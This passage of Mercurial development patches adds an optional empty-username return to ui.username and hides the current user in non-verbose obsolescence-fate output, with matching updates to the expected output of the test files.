   |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  x  65b757b745b9
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  x  65b757b745b9
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  x  65b757b745b9
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
 
 Test templates with splitted and pruned commit
 ==============================================
@@ -1746,3 +2095,34 @@
   |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507299827 -7200
#      Fri Oct 06 16:23:47 2017 +0200
# Node ID 9f2891fb426c5396737962b27edea5765a879199
# Parent  6a6371d2970eeefd4174160999483c36dec89541
ui: add the possibility to returns None as username in ui

In a later patch we want to retrieve the current username or None if it isn't
defined. Add the acceptempty parameter instead of catching Abort.

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -765,13 +765,15 @@
             return feature not in exceptions
         return True
 
-    def username(self):
+    def username(self, acceptempty=False):
         """Return default username to be used in commits.
 
         Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
         and stop searching if one of these is set.
+        If not found and acceptempty is True, returns None.
         If not found and ui.askusername is True, ask the user, else use
         ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
+        If no username could be found, raise an Abort error.
         """
         user = encoding.environ.get("HGUSER")
         if user is None:
@@ -780,6 +782,8 @@
                 user = os.path.expandvars(user)
         if user is None:
             user = encoding.environ.get("EMAIL")
+        if user is None and acceptempty:
+            return user
         if user is None and self.configbool("ui", "askusername"):
             user = self.prompt(_("enter a commit username:"), default=None)
         if user is None and not self.interactive():
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507556052 -7200
#      Mon Oct 09 15:34:12 2017 +0200
# Node ID 62a4ccf9784a40616713898cdf9532c3774146ba
# Parent  9f2891fb426c5396737962b27edea5765a879199
obsfate: filter out current user if not in verbose

Obsolescence is sometimes used only locally so the obs-marker users is always
the same. Showing the user in this case does not bring much values.

In the case where multiple users rewrite the commit, display the full list of
users. Also show all users in verbose mode.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -788,6 +788,10 @@
     """ Build a obsfate string for a single successorset using all obsfate
     related function defined in obsutil
     """
+    quiet = ui.quiet
+    verbose = ui.verbose
+    normal = not verbose and not quiet
+
     line = []
 
     # Verb
@@ -805,8 +809,14 @@
 
     # Users
     users = markersusers(markers)
+    # Filter out current user in not verbose mode to reduce amount of
+    # information
+    if not verbose:
+        currentuser = ui.username(acceptempty=True)
+        if len(users) == 1 and currentuser in users:
+            users = None
 
-    if users:
+    if (verbose or normal) and users:
         line.append(" by %s" % ", ".join(users))
 
     # Date
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -219,9 +219,9 @@
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 (at 2001-04-19 04:25 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 (at 2009-02-13 23:31 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
@@ -230,7 +230,7 @@
   | x  a468dc9b3633
   |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 (at 2009-02-13 23:31 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -394,7 +394,7 @@
   o  337fec4d2edc
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
@@ -403,7 +403,7 @@
   o  337fec4d2edc
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -594,18 +594,18 @@
   @  eb5a0daa2192
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  eb5a0daa2192
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -824,24 +824,24 @@
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 (at 1970-01-01 00:00 +0000)
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 (at 1970-01-01 00:00 +0000)
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1095,22 +1095,22 @@
   @  eb5a0daa2192
   |
   | x  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   | | x  0dec01379d3b
-  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000)
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  eb5a0daa2192
   |
   | x  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   | | x  0dec01379d3b
-  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000)
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1282,14 +1282,14 @@
   @  7a230b46bf61
   |
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  7a230b46bf61
   |
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1445,20 +1445,20 @@
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
   @  ea207398892e
   
   $ hg fatelogkw --hidden
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
   @  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1832,21 +1832,21 @@
   o |  b18bc8331526
   |/
   | x  ba2ed02b0c9a
-  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc (at 1970-01-01 00:00 +0000)
   | x  4a004186e638
-  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee (at 1970-01-01 00:00 +0000)
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a (at 1970-01-01 00:00 +0000)
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
@@ -1857,21 +1857,21 @@
   o |  b18bc8331526
   |/
   | x  ba2ed02b0c9a
-  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc (at 1970-01-01 00:00 +0000)
   | x  4a004186e638
-  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee (at 1970-01-01 00:00 +0000)
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a (at 1970-01-01 00:00 +0000)
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1977,22 +1977,22 @@
 
   $ hg fatelogkw --hidden -q
   x  65b757b745b9
-  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
   | x  fdf9bde5129a
-  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: pruned (at 1970-01-01 00:00 +0000)
   | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   x  65b757b745b9
-  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
   | x  fdf9bde5129a
-  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: pruned (at 1970-01-01 00:00 +0000)
   | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -2101,20 +2101,20 @@
 
   $ hg fatelogkw --hidden -q
   @  0d0ef4bdf70e
-  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
   o  617adc3a144c
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  0d0ef4bdf70e
-  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
   o  617adc3a144c
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e (at 1970-01-01 00:00 +0000)
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
diff --git a/tests/test-obsolete-distributed.t b/tests/test-obsolete-distributed.t
--- a/tests/test-obsolete-distributed.t
+++ b/tests/test-obsolete-distributed.t
@@ -51,7 +51,7 @@
   created new head
   $ hg debugobsolete `getid 'desc("c_A0")'` `getid 'desc("c_A1")'`
   obsoleted 1 changesets
-  $ hg log -G --hidden
+  $ hg log -G --hidden -v
   @  3:e5d7dda7cd28 c_B0
   |
   | o  2:7f6b0a6f5c25 c_A1
@@ -90,7 +90,7 @@
   |/
   o  0:e82fb8d02bbf ROOT
   
-  $ hg log -G --hidden
+  $ hg log -G --hidden -v
   @  4:391a2bf12b1b c_B1
   |
   | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
@@ -117,7 +117,7 @@
   |
   o  0:e82fb8d02bbf ROOT
   
-  $ hg log -G --hidden
+  $ hg log -G --hidden -v
   @  3:e5d7dda7cd28 c_B0
   |
   | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000)]
@@ -151,7 +151,7 @@
   |
   @  0:e82fb8d02bbf ROOT
   
-  $ hg log -G --hidden
+  $ hg log -G --hidden -v
   o  4:391a2bf12b1b c_B1
   |
   | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
@@ -187,7 +187,7 @@
   |
   o  0:e82fb8d02bbf ROOT
   
-  $ hg -R ../server/ log -G --hidden
+  $ hg -R ../server/ log -G --hidden -v
   @  4:391a2bf12b1b c_B1
   |
   | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
@@ -288,7 +288,7 @@
   |
   o  0:e82fb8d02bbf ROOT
   
-  $ hg log -G --hidden
+  $ hg log -G --hidden -v
   @  5:956063ac4557 c_B1
   |
   | x  4:5ffb9e311b35 c_B0 [rewritten using amend as 5:956063ac4557 by bob (at 1970-01-01 00:00 +0000)]
@@ -335,7 +335,7 @@
   |
   o  0:e82fb8d02bbf ROOT
   
-  $ hg log -G --hidden
+  $ hg log -G --hidden -v
   @  5:77ae25d99ff0 c_B2
   |
   | x  4:3cf8de21cc22 c_B1 [rewritten using amend as 5:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000)]
@@ -461,7 +461,7 @@
   |
   @  0:e82fb8d02bbf ROOT
   
-  $ hg log -G --hidden
+  $ hg log -G --hidden -v
   x  6:956063ac4557 c_B1 [rewritten using amend, rebase as 4:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000)]
   |
   x  5:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000)]
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -66,7 +66,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -127,11 +127,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
   |/
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 base
   
@@ -185,7 +185,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -259,11 +259,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 base
   
@@ -309,7 +309,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -361,15 +361,15 @@
   $ hg log -G --hidden
   @  6:e442cfc57690 A_5
   |
-  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 by test (at 1970-01-01 00:00 +0000)]
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 (at 1970-01-01 00:00 +0000)]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a by test (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 base
   
@@ -437,19 +437,19 @@
   |/
   | o  8:7ae126973a96 A_7
   |/
-  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   | |
-  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a by test (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 by test (at 1970-01-01 00:00 +0000)]
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 (at 1970-01-01 00:00 +0000)]
   |/
-  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 by test (at 1970-01-01 00:00 +0000)]
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 (at 1970-01-01 00:00 +0000)]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a by test (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -535,25 +535,25 @@
   $ hg log -G --hidden
   o  11:a139f71be9da A_A
   |
-  | x  10:bed64f5d2f5a A_9 [rewritten as 11:a139f71be9da by test (at 1970-01-01 00:00 +0000)]
+  | x  10:bed64f5d2f5a A_9 [rewritten as 11:a139f71be9da (at 1970-01-01 00:00 +0000)]
   |/
-  | x  9:14608b260df8 A_8 [rewritten as 11:a139f71be9da by test (at 1970-01-01 00:00 +0000)]
+  | x  9:14608b260df8 A_8 [rewritten as 11:a139f71be9da (at 1970-01-01 00:00 +0000)]
   |/
-  | x  8:7ae126973a96 A_7 [rewritten as 11:a139f71be9da by test (at 1970-01-01 00:00 +0000)]
+  | x  8:7ae126973a96 A_7 [rewritten as 11:a139f71be9da (at 1970-01-01 00:00 +0000)]
   |/
-  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   | |
